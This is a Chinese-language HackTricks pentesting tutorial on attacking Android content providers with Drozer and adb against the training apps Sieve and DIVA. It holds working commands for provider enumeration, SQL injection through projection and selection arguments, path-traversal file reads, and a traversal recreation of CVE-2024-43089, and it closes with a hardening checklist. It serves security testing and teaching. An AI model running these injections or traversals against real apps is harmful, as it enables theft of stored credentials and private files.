Exploiting Content Providers
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Intro
数据是通过一个称为 content provider 的组件在应用程序之间 按请求提供 的。这些请求通过 ContentResolver class 方法进行管理。内容提供者可以将其数据存储在各种位置,例如 数据库、文件 或通过 网络。
在 Manifest.xml 文件中,内容提供者的声明是必需的。例如:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
要访问 content://com.mwr.example.sieve.DBContentProvider/Keys
,需要 READ_KEYS
权限。值得注意的是,路径 /Keys/
在以下部分是可访问的,这由于开发者的错误而未受到保护,开发者保护了 /Keys
但声明了 /Keys/
。
也许你可以访问私有数据或利用某些漏洞(SQL 注入或路径遍历)。
从 暴露的内容提供者 获取信息
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
可以通过以“content://”开头的 URI 来拼凑出如何到达 DBContentProvider。这种方法基于使用 Drozer 获得的见解,其中关键信息位于 /Keys 目录中。
Drozer 可以 猜测并尝试多个 URI:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
您还应该检查 ContentProvider 代码 以搜索查询:
此外,如果您找不到完整的查询,您可以 检查 ContentProvider 在 onCreate
方法中声明的名称:
查询将类似于: content://name.of.package.class/declared_name
数据库支持的内容提供者
大多数内容提供者可能作为 数据库 的 接口 使用。因此,如果您可以访问它,您将能够 提取、更新、插入和删除 信息。
检查您是否可以 访问敏感信息 或尝试更改它以 绕过授权 机制。
检查 Content Provider 代码时,还要查看 名称类似于:query、insert、update 和 delete 的 函数:
因为您将能够调用它们
查询内容
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insert content
查询数据库后,您将了解列的名称,然后,您可以在数据库中插入数据:
请注意,在插入和更新中,您可以使用 --string 来表示字符串,--double 来表示双精度,--float,--integer,--long,--short,--boolean
Update content
知道列的名称后,您还可以修改条目:
Delete content
SQL Injection
通过操纵传递给内容提供者的投影和选择字段,测试 SQL 注入 (SQLite) 是很简单的。
查询内容提供者时,有两个有趣的参数可以搜索信息:--selection 和 --projection:
您可以尝试滥用这些参数来测试SQL 注入:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
通过Drozer自动发现SQL注入
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
文件系统支持的内容提供者
内容提供者也可以用于访问文件:
读取文件
您可以从内容提供者读取文件。
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
路径遍历
如果您可以访问文件,您可以尝试利用路径遍历(在这种情况下,这不是必需的,但您可以尝试使用“../”和类似的技巧)。
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
通过Drozer自动发现路径遍历
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
2023-2025 更新与现代技巧
Drozer 3.x (Python 3) 已发布
WithSecure 在 2022 年恢复了对 drozer 的维护,并将框架移植到 Python 3(最新 3.1.0 – 2024 年 4 月)。除了兼容性修复外,特别在处理内容提供者时有用的新模块包括:
scanner.provider.exported
– 仅列出android:exported="true"
的提供者。app.provider.grant
– 自动调用grantUriPermission()
,以便您可以与在 Android 12+ 上期望FLAG_GRANT_READ_URI_PERMISSION
/FLAG_GRANT_WRITE_URI_PERMISSION
的提供者进行通信。- 更好地处理 Scoped Storage,以便 Android 11+ 上的基于文件的提供者仍然可以访问。
升级(主机和代理):
pipx install --force "git+https://github.com/WithSecureLabs/drozer@v3.1.0"
adb install drozer-agent-3.1.0.apk
使用内置的 cmd content
助手 (ADB ≥ 8.0)
所有现代 Android 设备都配备了一个 CLI,可以查询/更新提供者 而无需安装任何代理:
adb shell cmd content query --uri content://com.test.provider/items/
adb shell cmd content update --uri content://com.test.provider/items/1 \
--bind price:d:1337
adb shell cmd content call --uri content://com.test.provider \
--method evilMethod --arg 'foo'
将其与 run-as <pkg>
或已获取root权限的shell结合使用,以测试仅限内部的提供者。
最近滥用内容提供者的真实世界CVE
CVE | 年份 | 组件 | 漏洞类别 | 影响 |
---|---|---|---|---|
CVE-2024-43089 | 2024 | MediaProvider | openFile() 中的路径遍历 | 从任何应用的私有存储中任意读取文件 |
CVE-2023-35670 | 2023 | MediaProvider | 路径遍历 | 信息泄露 |
在易受攻击的构建上重新创建CVE-2024-43089:
adb shell cmd content read \
--uri content://media/external_primary/file/../../data/data/com.target/shared_prefs/foo.xml
API 30+ 的加固检查清单
- 声明
android:exported="false"
,除非提供者 必须 是公共的 – 从 API 31 开始,该属性是强制性的。 - 强制 权限 和/或
android:grantUriPermissions="true"
,而不是导出整个提供者。 - 白名单允许的
projection
、selection
和sortOrder
参数(例如,使用SQLiteQueryBuilder.setProjectionMap
构建查询)。 - 在
openFile()
中规范请求的路径(FileUtils
),并拒绝..
序列以防止遍历。 - 当暴露文件时,优先使用 Storage Access Framework 或
FileProvider
。
这些在最近的 Android 版本中的更改意味着许多遗留的利用原语仍然有效,但需要更新的 drozer 模块或 cmd content
助手可以自动应用的额外标志/权限。
参考文献
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
- https://github.com/WithSecureLabs/drozer/releases/tag/3.1.0
- https://source.android.com/security/bulletin/2024-07-01
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。